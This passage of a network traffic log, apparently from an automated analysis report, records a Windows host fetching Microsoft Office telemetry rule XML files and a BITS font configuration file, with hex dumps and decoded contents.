</C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-25 15:21:24 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-25 15:21:24 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-25 15:21:24 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-25 15:21:25 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-25 15:21:25 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-25 15:21:25 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49728	184.30.24.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 15:21:25 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=65532 Date: Mon, 25 Nov 2024 15:21:25 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:26 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:27 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152127Z-178bfbc474bwlrhlhC1NYCy3kg00000007r0000000004sr8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:27 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:27 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:27 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152127Z-15b8b599d882zv28hC1TEBdchn00000005wg00000000q45r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:27 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:27 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:27 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c9502ca5-e01e-0033-0fb4-3e4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152127Z-15b8b599d88pxmdghC1TEBux9c000000066g00000000fnw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:27 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:27 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:27 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8db92378-201e-003f-2cbf-3e6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152127Z-178bfbc474bwlrhlhC1NYCy3kg00000007ng00000000du2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:27 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:27 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:27 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:27 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: dfea7470-c01e-0014-34d8-3ea6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152127Z-178bfbc474bv7whqhC1NYC1fg400000007k000000000ptpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:27 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49737	184.30.24.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:27 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-25 15:21:27 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=65479 Date: Mon, 25 Nov 2024 15:21:27 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-25 15:21:27 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:29 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:29 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b169a0d5-c01e-00a2-4e03-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152129Z-178bfbc474btrnf9hC1NYCb80g00000007x0000000000770 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:29 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:29 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 73bf7d7c-c01e-000b-6bd1-3ee255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152129Z-15b8b599d88hd9g7hC1TEBp75c000000063000000000bqrp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:30 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 3cf7f359-901e-005b-4f39-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152130Z-178bfbc474b9xljthC1NYCtw9400000007gg00000000h9cz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
